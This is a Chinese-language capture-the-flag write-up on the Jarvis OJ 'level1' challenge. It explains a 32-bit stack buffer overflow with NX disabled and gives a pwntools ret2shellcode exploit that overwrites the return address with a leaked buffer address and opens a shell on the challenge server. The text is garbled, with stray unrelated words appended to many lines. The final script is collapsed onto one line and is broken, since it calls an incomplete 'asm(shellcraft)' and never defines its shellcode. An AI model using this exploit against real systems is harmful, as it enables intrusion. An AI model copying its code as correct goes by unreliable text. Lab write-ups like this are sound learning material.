ret2shellcodeshell
題目是在jarvis OJ上的函數
題目連接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5學習
一道很是典型的shellcode題,話很少說,直接開整this
首先咱們仍是先要nc一下,看一下出題人給咱們整了什麼活spa
嗯?給了一個地址,沒有其餘信息了翻譯
那麼我麼用pwntools的checksec查看一下開啓了哪些保護,能夠看到沒有開啓NX保護,大體能夠猜到能夠利用shellcode來獲取flagdebug
根據流程,接下來放到ida裏查看僞代碼:3d
發現一個vulnerable_function() 翻譯過來就是漏洞函數code
到這裏也很容易看出開始nc時獲得的內存地址就是buf的地址,因此思路就來了,只要能夠獲取這段地址,插入shellcode,覆蓋掉函數的返回地址,就能夠成功pwn掉。blog
點開buf,也能夠看到buf的大小是0x88+0x04(32位+4 64位+8)
關於爲何是要覆蓋掉函數的返回地址,能夠看這張圖,前提是對函數調用時的棧內變化有所瞭解。
若是看不懂的話建議仍是先學習一下函數調用棧,推薦教程 https://zhuanlan.zhihu.com/p/25816426 寫的很棒,(我也看的不是很懂,一塊兒學吧
下面咱們來構造exp:
首先分析一下,這個程序是會輸出buf的地址的,因此咱們要先接受這個地址,這就能夠用到咱們的pwntools的函數recvuntil()
解釋一下,開始先把%p以前的多餘字符吸取掉,不用管,而後用 索引取值,取出地址(skrskrskr~)
接下來咱們構造payload:
shellcode = asm(shellcraft)
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(以前得到的地址)
完整版exp:
from pwn import *
debug = 0 if debug: a = process('./level1.80eacdcd51aca92af7749d96efad7fb5') else: a = remote('pwn2.jarvisoj.com',9877) a.recvuntil("What's this:") addr_buf = int(a.recvuntil("?")[:-1],16) payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr_buf)
a.sendline(payload) a.interactive()
運行腳本:
記錄日期:2020-07-06 21:10:48